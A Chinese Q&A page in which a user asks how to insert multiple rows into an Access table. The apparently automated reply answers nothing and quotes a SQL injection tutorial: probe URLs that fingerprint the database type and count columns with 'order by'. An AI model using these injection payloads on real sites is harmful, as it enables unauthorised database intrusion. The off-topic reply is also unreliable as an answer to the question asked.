Access怎样才能插入多条数据

如图,根据网上一个教程写的代码,图一是新建的表,图二是插入的数据,运行后一直在报错。

img

img

  • 这个问题的回答你可以参考下: https://ask.csdn.net/questions/7761514
  • 我还给你找了一篇非常好的博客,你可以看看是否有帮助,链接:易语言操作数据库之Access数据库(数据库连接和记录集组件)
  • 除此之外, 这篇博客: Access数据库手工渗透思路过程中的 1判断数据库类型 部分也许能够解决你的问题, 你可以仔细阅读以下内容或跳转源博客中阅读:
  • 一、通过页面返回的报错信息,一般情况下页面报错会显示是什么数据库类型,比如有sql可能是mysql,sqlserver。有jet可能是access;
    二、通过脚本判断。asp可能是access;aspx可能是sqlserver;php可能是mysql;jsp可能是oracle
    三、通过各个数据库特有的数据表来判断:
    1、mssql数据库
    http://127.0.0.1/test.php?id=1 and (select count() from sysobjects)>0 and 1=1
    2、access数据库
    http://127.0.0.1/test.php?id=1 and (select count(
    ) from msysobjects)>0 and 1=1(没有权限访问)
    3、mysql数据库(mysql版本在5.0以上)
    http://127.0.0.1/test.php?id=1 and (select count() from information_schema.TABLES)>0 and 1=1
    Access和SQL Server都有自己的系统表,比如存放数据库中所有对象的表:Access是在系统表“msysobjects”中,但在Web环境下读该表会提示“没有权限”;SQL Server是在表“sysobjects”中,在Web环境下可正常读取。在确认可以注入的情况下,使用下面的语句:http://www.xxx.com/a.asp?ID=1 and(select count(
    ) from sysobjects)>0如果数据库是Access,由于找不到表sysobjects,服务器错误提示。
    4、oracle数据库
    http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1
    四、通过各数据库特有的连接符判断数据库类型:
    1、mssql数据库
    http://127.0.0.1/test.php?id=1 and ‘1’ + ‘1’ = ‘11’
    2、mysql数据库
    http://127.0.0.1/test.php?id=1 and ‘1’ + ‘1’ = ‘11’
    http://127.0.0.1/test.php?id=1 and CONCAT(‘1’,‘1’)=‘11’
    3、oracle数据库
    http://127.0.0.1/test.php?id=1 and ‘1’||‘1’=‘11’
    http://127.0.0.1/test.php?id=1 and CONCAT(‘1’,‘1’)=‘11’
    4、access数据库
    http://127.0.0.1/test.php?id=1 and ‘1’&’1’=’11’

    1.逐一爆破字段
    2.1确定当前查询的列数
    order by 22正确 order by 23错误 这就说明字段数目是22个

  • 您还可以看一下 郭建立老师的access酒店点餐管理系统教程课程中的 前言与软件演示小节, 巩固相关知识点